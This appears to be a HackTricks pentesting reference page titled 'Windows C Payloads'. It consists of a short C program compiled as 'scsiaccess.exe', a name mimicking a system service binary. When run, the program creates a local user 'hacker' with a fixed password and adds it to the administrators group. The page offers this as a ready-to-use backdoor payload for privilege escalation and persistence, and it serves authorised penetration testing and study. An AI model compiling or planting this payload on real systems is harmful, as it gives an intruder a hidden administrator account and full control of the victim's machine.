HackTricks
Search…
Pentesting
Powered By GitBook
Windows C Payloads

Add user

1
#i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c
2
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
3
int main ()
4
{
5
int i;
6
system("net user hacker Hacker123! /add");
7
system("net localgroup administrators hacker /add");
8
return 0;
9
}
Copied!
Last modified 2yr ago
Copy link